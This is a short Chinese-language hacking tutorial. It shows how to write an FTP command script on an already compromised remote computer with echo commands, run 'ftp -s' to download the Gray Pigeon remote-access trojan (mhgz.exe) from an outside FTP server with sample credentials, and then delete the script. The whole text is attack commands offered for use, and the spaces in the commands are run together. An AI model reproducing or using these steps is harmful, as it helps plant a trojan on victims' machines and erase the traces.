在远程计算机的CMD环境下，如果不能通过IPC$渠道传送文件，那就只有通过FTP下载文件了。

假设我们已经有一个FTP服务器，上面有一个我们配置好的灰鸽子木马文件mhgz.exe,我们应该知道FTP服务器的三个参数：

1、FTP服务器的IP地址：如1.1.1.1

2、FTP服务器的用户名：如test

3、FTP服务器的密码：如test123

在远程计算机的CMD下依次输入下面的命令：

1、echoopen1.1.1.1>>test.txt登陆FTP服务器

2、echotest>>test.txt用户名

3、echotest123>>test.txt密码

4、echobin>>test.txt开始

5、echogetmhgz.exe>>test.txt下载灰鸽子木马

6、echobye>>test.txt关闭FTP服务器

输入上面命令后，在远程计算机上就会生成一个test.txt文件，内容为：

open1.1.1.1

test

test123

bin

getmhgz.exe

bye

现在我们在远程计算机上执行下面的命令：

ftp-s:test.txt意思是，读取test.txt里的参数，执行ftp命令，命令执行完后，灰鸽子木马文件mhgz.exe就下载到对方计算机里了。

delc:test.txt